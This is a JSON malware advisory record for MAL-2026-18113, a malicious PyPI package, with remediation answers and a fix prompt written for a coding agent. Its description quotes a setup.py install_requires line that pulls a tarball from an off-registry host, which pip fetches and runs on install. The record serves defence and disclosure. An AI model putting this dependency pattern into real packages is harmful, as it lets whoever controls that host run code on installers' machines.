{"answers":{"affected":"1 open source package ship an affected version, including jiklpo-tsunari-kay.","exploited":"There is no known exploitation of MAL-2026-18113 in the wild and no public exploit code.","fix":"Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.","what":"MAL-2026-18113 is a malicious package in jiklpo-tsunari-kay, published on 20 Oct 2026."},"fix_prompt":"MAL-2026-18113 is a malicious package: jiklpo-tsunari-kay (PyPI). Every version was published to cause harm.\n\nTask:\n1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.\n2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.\n3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.\n4. If the package is not used anywhere, say so and change nothing.\n\nReference: https://insights.sbomify.com/MAL-2026-18113/ (Markdown: https://insights.sbomify.com/MAL-2026-18113/index.md)","id":"MAL-2026-18113","markdown":"https://insights.sbomify.com/MAL-2026-18113/index.md","name":"MAL-2026-18113","record":{"aliases":[],"analysis":null,"analysis_generated_by":null,"assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"setup.py declares install_requires=[\"object-handle-logger-table @ https://artifacts.yosiroute.com/pypi/object_handle_logger_table-1.0.0.tar.gz\"], resolving a dependency to a direct tarball URL on a non-registry host instead of a pinned PyPI version. On pip install, the installer fetches and executes whatever bytes that URL returns, including any setup.py / build-backend code inside the tarball. There is no version pin and no hash or integrity check, so whoever controls artifacts.yosiroute.com controls code executed on the installer's machine. The shipped module itself is a two-line stub; the off-registry URL dependency is the package's entire install-time effect.\n\nThe package uses fake http-downloaded dependencies to track downloads, and has no other purpose.\n\n---\n\nCategory: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research \u0026 co, with clearly low-harm possibilities.\n\nCampaign: 2026-10-vacsdk\n\nReasons (based on the campaign):\n\n - dependency-confusion","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Malicious code in jiklpo-tsunari-kay (PyPI)","id":"MAL-2026-18113","indexable":true,"kev":null,"kind":"malicious","links":{"ecosystem":"PyPI","product":null,"products":[],"type":null,"year":"2026"},"n_packages":1,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":[],"last_affected":[],"package":"jiklpo-tsunari-kay","purl":"pkg:pypi/jiklpo-tsunari-kay","source":"MAL-2026-18113"}],"products":null,"published":"2026-10-20","related":[],"sources":[{"class":"attribution","licence":"Apache-2.0","name":"OpenSSF Malicious Packages","prefix":"MAL"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":null,"url":"https://insights.sbomify.com/MAL-2026-18113/"}